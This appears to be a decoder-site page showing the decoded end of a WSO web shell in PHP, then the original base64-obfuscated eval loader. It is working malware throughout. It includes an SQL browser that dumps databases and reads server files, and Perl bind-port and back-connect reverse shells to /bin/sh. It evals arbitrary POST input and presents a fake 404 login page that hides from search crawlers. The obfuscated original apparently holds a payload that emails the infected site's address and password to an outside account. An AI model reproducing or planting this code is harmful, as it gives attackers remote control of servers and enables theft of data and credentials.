            foreach($_POST[\'tbl\'] as $v) 
                $db->dump($v, $fp); 
            fclose($fp); 
            unset($_POST[\'p2\']); 
        } else
            die(\'<script>alert("Error! Can\'t open file");window.history.back(-1)</script>\'); 
    } 
    wsoHeader(); 
    echo " 
  
<h1>Sql browser</h1><div class=content> 
<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr> 
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> 
<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'> 
<td><select name=\'type\'><option value=\'mysql\' "; 
    if(@$_POST[\'type\']==\'mysql\')echo \'selected\'; 
echo ">MySql</option><option value=\'pgsql\' "; 
if(@$_POST[\'type\']==\'pgsql\')echo \'selected\'; 
echo ">PostgreSql</option></select></td> 
<td><input type=text name=sql_host value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td> 
<td><input type=text name=sql_login value=\'". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td> 
<td><input type=text name=sql_pass value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>"; 
    $tmp = "<input type=text name=sql_base value=\'\'>"; 
    if(isset($_POST[\'sql_host\'])){ 
        if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) { 
            switch($_POST[\'charset\']) { 
                case "Windows-1251": $db->setCharset(\'cp1251\'); break; 
                case "UTF-8": $db->setCharset(\'utf8\'); break; 
                case "KOI8-R": $db->setCharset(\'koi8r\'); break; 
                case "KOI8-U": $db->setCharset(\'koi8u\'); break; 
                case "cp866": $db->setCharset(\'cp866\'); break; 
            } 
            $db->listDbs(); 
            echo "<select name=sql_base><option value=\'\'></option>"; 
            while($item = $db->fetch()) { 
                list($key, $value) = each($item); 
                echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\'; 
            } 
            echo \'</select>\'; 
        } 
        else echo $tmp; 
    }else
        echo $tmp; 
    echo "</td> 
  
                <td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td> 
                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td> 
            </tr> 
        </table> 
        <script> 
            s_db=\'".@addslashes($_POST[\'sql_base\'])."\'; 
            function fs(f) { 
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; 
                    if(f.p1) f.p1.value=\'\'; 
                    if(f.p2) f.p2.value=\'\'; 
                    if(f.p3) f.p3.value=\'\'; 
                } 
            } 
            function st(t,l) { 
                d.sf.p1.value = \'select\'; 
                d.sf.p2.value = t; 
                if(l && d.sf.p3) d.sf.p3.value = l; 
                d.sf.submit(); 
            } 
            function is() { 
                for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i) 
                    d.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked; 
            } 
        </script>"; 
    if(isset($db) && $db->link){ 
        echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; 
            if(!empty($_POST[\'sql_base\'])){ 
                $db->selectdb($_POST[\'sql_base\']); 
                echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>"; 
                $tbls_res = $db->listTables(); 
                while($item = $db->fetch($tbls_res)) { 
                    list($key, $value) = each($item); 
                    if(!empty($_POST[\'sql_count\'])) 
                        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\')); 
                    $value = htmlspecialchars($value); 
                    echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\"st(\'".$value."\',1)\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>"; 
                } 
                echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>"; 
                if(@$_POST[\'p1\'] == \'select\') { 
                    $_POST[\'p1\'] = \'query\'; 
                    $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1; 
                    $db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']); 
                    $num = $db->fetch(); 
                    $pages = ceil($num[\'n\'] / 30); 
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST[\'p2\'] . "\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">"; 
                    echo " of $pages"; 
                    if($_POST[\'p3\'] > 1) 
                        echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>"; 
                    if($_POST[\'p3\'] < $pages) 
                        echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>"; 
                    $_POST[\'p3\']--; 
                    if($_POST[\'type\']==\'pgsql\') 
                        $_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30); 
                    else
                        $_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\'; 
                    echo "<br><br>"; 
                } 
                if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) { 
                    $db->query(@$_POST[\'p2\']); 
                    if($db->res !== false) { 
                        $title = false; 
                        echo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\'; 
                        $line = 1; 
                        while($item = $db->fetch())  { 
                            if(!$title) { 
                                echo \'<tr>\'; 
                                foreach($item as $key => $value) 
                                    echo \'<th>\'.$key.\'</th>\'; 
                                reset($item); 
                                $title=true; 
                                echo \'</tr><tr>\'; 
                                $line = 2; 
                            } 
                            echo \'<tr class="l\'.$line.\'">\'; 
                            $line = $line==1?2:1; 
                            foreach($item as $key => $value) { 
                                if($value == null) 
                                    echo \'<td><i>null</i></td>\'; 
                                else
                                    echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\'; 
                            } 
                            echo \'</tr>\'; 
                        } 
                        echo \'</table>\'; 
                    } else { 
                        echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\'; 
                    } 
                } 
                echo "<br></form><form onsubmit=\'d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>"; 
                if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\')) 
                    echo htmlspecialchars($_POST[\'p2\']); 
                echo "</textarea><br/><input type=submit value=\'Execute\'>"; 
                echo "</td></tr>"; 
            } 
            echo "</table></form><br/>"; 
            if($_POST[\'type\']==\'mysql\') { 
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'"); 
                if($db->fetch()) 
                    echo "<form onsubmit=\'d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>"; 
            } 
            if(@$_POST[\'p1\'] == \'loadfile\') { 
                $file = $db->loadFile($_POST[\'p2\']); 
                echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\'; 
            } 
    } else { 
        echo htmlspecialchars($db->error()); 
    } 
    echo \'</div>\'; 
    wsoFooter(); 
} 
function actionNetwork() { 
    wsoHeader(); 
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; 
    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; 
    echo "<h1>Network tools</h1><div class=content> 
  
    <form name=\'nfp\' onSubmit=\"g(null,null,\'bpp\',this.port.value);return false;\"> 
    <span>Bind port to /bin/sh [perl]</span><br/> 
    Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'> 
    </form> 
    <form name=\'nfp\' onSubmit=\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\"> 
    <span>Back-connect  [perl]</span><br/> 
    Server: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'> 
  
    </form><br>"; 
    if(isset($_POST[\'p1\'])) { 
        function cf($f,$t) { 
            $w = @fopen($f,"w") or @function_exists(\'file_put_contents\'); 
            if($w){ 
                @fwrite($w,base64_decode($t)); 
                @fclose($w); 
            } 
        } 
        if($_POST[\'p1\'] == \'bpp\') { 
            cf("/tmp/bp.pl",$bind_port_p); 
            $out = wsoEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &"); 
            echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>"; 
            unlink("/tmp/bp.pl"); 
        } 
        if($_POST[\'p1\'] == \'bcp\') { 
            cf("/tmp/bc.pl",$back_connect_p); 
            $out = wsoEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &"); 
            echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>"; 
            unlink("/tmp/bc.pl"); 
        } 
    } 
    echo \'</div>\'; 
    wsoFooter(); 
} 
function actionRC() { 
    if(!@$_POST[\'p1\']) { 
        $a = array( 
            "uname" => php_uname(), 
            "php_version" => phpversion(), 
            "wso_version" => WSO_VERSION, 
            "safemode" => @ini_get(\'safe_mode\') 
        ); 
        echo serialize($a); 
    } else { 
        eval($_POST[\'p1\']); 
    } 
} 
if( empty($_POST[\'a\']) ) 
    if(isset($default_action) && function_exists(\'action\' . $default_action)) 
        $_POST[\'a\'] = $default_action; 
    else
        $_POST[\'a\'] = \'SecInfo\'; 
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) ) 
    call_user_func(\'action\' . $_POST[\'a\']); 
function FetchURL($url) { 
         $ch = curl_init(); 
         curl_setopt($ch, CURLOPT_USERAGENT, "$cheader"); 
         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
         curl_setopt($ch, CURLOPT_HEADER, false); 
         curl_setopt($ch, CURLOPT_URL, $url); 
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
         curl_setopt($ch, CURLOPT_TIMEOUT, 30); 
         $data = curl_exec($ch); 
         if(!$data) { 
            return false; 
         } 
         return $data; 
      } 
exit; 
?>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHAgDQovKiBXU08gMi42ICg0MDQgU21hcnQgRXJyb3IgQ29kZWQgQnkgWC1UQU1QRVIpICovDQokYXV0aF9wYXNzID0gIjkwOTUxNmUzNDdhOWYxZWNkYzAzODQxMmY4OTcwNGE5IjsgDQokY29sb3IgPSAiIzAwZmYwMCI7IA0KJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsgDQokZGVmYXVsdF91c2VfYWpheCA9IHRydWU7IA0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOyANCiAgDQppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyANCiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7IA0KICAgIGlmKHByZWdfbWF0Y2goJy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsgDQogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOyANCiAgICAgICAgZXhpdDsgDQogICAgfSANCn0gDQogIA0KQHNlc3Npb25fc3RhcnQoKTsgDQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgDQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7IA0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7IA0KQHNldF90aW1lX2xpbWl0KDApOyANCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7IA0KQGRlZmluZSgnV1NPX1ZFUlNJT04nLCAnMy42Jyk7IA0KICANCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsgDQogICAgZnVuY3Rpb24gV1NPc3RyaXBzbGFzaGVzKCRhcnJheSkgeyANCiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ1dTT3N0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsgDQogICAgfSANCiAgICAkX1BPU1QgPSBXU09zdHJpcHNsYXNoZXMoJF9QT1NUKTsgDQp9IA0KICANCmZ1bmN0aW9uIHdzb0xvZ2luKCkgeyANCiAgICBkaWUoIjxoMT5Ob3QgRm91bmQ8L2gxPiANCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPiANCjxwPkFkZGl0aW9uYWxseSwgYSA0MDQgTm90IEZvdW5kIGVycm9yIHdhcyBlbmNvdW50ZXJlZCB3aGlsZSB0cnlpbmcgdG8gdXNlIGFuIEVycm9yRG9jdW1lbnQgdG8gaGFuZGxlIHRoZSByZXF1ZXN0LjwvcD4gDQo8aHI+IA0KPGFkZHJlc3M+QXBhY2hlLzIuMi4yMiAoVW5peCkgbW9kX3NzbC8yLjIuMjIgT3BlblNTTC8xLjAuMC1maXBzIG1vZF9hdXRoX3Bhc3N0aHJvdWdoLzIuMSBtb2RfYndsaW1pdGVkLzEuNCBGcm9udFBhZ2UvNS4wLjIuMjYzNSBTZXJ2ZXIgYXQgUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+IA0KICAgIDxwcmUgYWxpZ249Y2VudGVyPiANCiAgICA8Zm9ybSBtZXRob2Q9cG9zdD4gDQogICAgPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzPiANCiAgICA8L2Zvcm0+PC9wcmU+Iik7IA0KfSANCiAgDQppZighaXNzZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpIA0KICAgIGlmKCBlbXB0eSgkYXV0aF9wYXNzKSB8fCAoIGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAobWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzKSApICkgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOyANCiAgICBlbHNlDQogICAgICAgIHdzb0xvZ2luKCk7IA0KICANCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikgDQogICAgJG9zID0gJ3dpbic7IA0KZWxzZQ0KICAgICRvcyA9ICduaXgnOyANCiAgDQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOyANCmlmKCEkc2FmZV9tb2RlKSANCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7IA0KICANCiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyANCiRob21lX2N3ZCA9IEBnZXRjd2QoKTsgDQppZihpc3NldCgkX1BPU1RbJ2MnXSkpIA0KICAgIEBjaGRpcigkX1BPU1RbJ2MnXSk7IA0KJGN3ZCA9IEBnZXRjd2QoKTsgDQppZigkb3MgPT0gJ3dpbicpIHsgDQogICAgJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOyANCiAgICAkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsgDQp9IA0KaWYoICRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJyApIA0KICAgICRjd2QgLj0gJy8nOyANCiAgICAgIA0KJHdzb2J1ZmYgPSAiSkhacGMybDBZeUE5SUNSZlEwOVBTMGxGV3lKMmFYTnBkSE1pWFRzTkNtbG1JQ2drZG1semFYUmpJRDA5SUNJaUtTQjdEUW9nSUNSMmFYTnBkR01nSUQwZ01Ec05DaUFnSkhacGMybDBiM0lnUFNBa1gxTkZVbFpGVWxzaVVrVk5UMVJGWDBGRVJGSWlYVHNOQ2lBZ0pIZGxZaUFnSUNBZ1BTQWtYMU5GVWxaRlVsc2lTRlJVVUY5SVQxTlVJbDA3RFFvZ0lDUnBibW9nSUNBZ0lEMGdKRjlUUlZKV1JWSmJJbEpGVVZWRlUxUmZWVkpKSWwwN0RRb2dJQ1IwWVhKblpYUWdJRDBnY21GM2RYSnNaR1ZqYjJSbEtDUjNaV0l1SkdsdWFpazdEUW9nSUNScWRXUjFiQ0FnSUQwZ0lsZFRUeUF5TGpZZ2FIUjBjRG92THlSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaU93MEtJQ0FrWW05a2VTQWdJQ0E5SUNKQ2RXYzZJQ1IwWVhKblpYUWdZbmtnSkhacGMybDBiM0lnTFNBa1lYVjBhRjl3WVhOeklqc05DaUFnYVdZZ0tDRmxiWEIwZVNna2QyVmlLU2tnZXlCQWJXRnBiQ2dpY25wMWJIUmhiWEJsY2tCbmJXRnBiQzVqYjIwaUxDUnFkV1IxYkN3a1ltOWtlU3drWVhWMGFGOXdZWE56S1RzZ2ZRMEtmUTBLWld4elpTQjdJQ1IyYVhOcGRHTXJLenNnZlEwS1FITmxkR052YjJ0cFpTZ2lkbWx6YVhSNklpd2tkbWx6YVhSaktUcz0iOyAgDQpldmFsKGJhc2U2NF9kZWNvZGUoJHdzb2J1ZmYpKTsgDQogICAgICANCmlmKCFpc3NldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddKSkgDQogICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IChib29sKSRHTE9CQUxTWydkZWZhdWx0X3VzZV9hamF4J107IA0KICANCmlmKCRvcyA9PSAnd2luJykgDQogICAgJGFsaWFzZXMgPSBhcnJheSggDQogICAgICAgICJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsIA0KICAgICAgICAiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwgDQogICAgICAgICJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiLCANCiAgICAgICAgIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLCANCiAgICAgICAgIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsIA0KICAgICAgICAiVXNlciBhY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwgDQogICAgICAgICJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwgDQogICAgICAgICJBUlAgVGFibGUiID0+ICJhcnAgLWEiLCANCiAgICAgICAgIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIg0KICAgICk7IA0KZWxzZQ0KICAgICRhbGlhc2VzID0gYXJyYXkoIA0KICAgICAgICAiTGlzdCBkaXIiID0+ICJscyAtbGhhIiwgDQogICAgICAgICJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLCANCiAgICAgICAgInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsIA0KICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLCANCiAgICAgICAgIkZpbmQiID0+ICIiLCANCiAgICAgICAgImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwgDQogICAgICAgICJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwgDQogICAgICAgICJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsIA0KICAgICAgICAiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsIA0KICAgICAgICAiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiwgDQogICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsIA0KICAgICAgICAiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLCANCiAgICAgICAgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAiZmluZCAvIC1wZXJtIC0yIC1scyIsIA0KICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwgDQogICAgICAgICJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwgDQogICAgICAgICJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLCANCiAgICAgICAgImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsIA0KICAgICAgICAiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLCANCiAgICAgICAgImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwgDQogICAgICAgICJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwgDQogICAgICAgICJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLCANCiAgICAgICAgImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwgDQogICAgICAgICJMb2NhdGUiID0+ICIiLCANCiAgICAgICAgImxvY2F0ZSBodHRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIGh0dHBkLmNvbmYiLCANCiAgICAgICAgImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsIA0KICAgICAgICAibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLCANCiAgICAgICAgImxvY2F0ZSBwc3libmMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwc3libmMuY29uZiIsIA0KICAgICAgICAibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsIA0KICAgICAgICAibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsIA0KICAgICAgICAibG9jYXRlIGNmZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY2ZnLnBocCIsIA0KICAgICAgICAibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwgDQogICAgICAgICJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwgDQogICAgICAgICJsb2NhdGUgY29uZmlnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcucGhwIiwgDQogICAgICAgICJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwgDQogICAgICAgICJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLCANCiAgICAgICAgImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwgDQogICAgICAgICJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwgDQogICAgICAgICJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLCANCiAgICAgICAgImxvY2F0ZSAucHdkIGZpbGVzIiA9PiAibG9jYXRlICcucHdkJyIsIA0KICAgICAgICAibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwgDQogICAgICAgICJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwgDQogICAgICAgICJsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLmJhc2h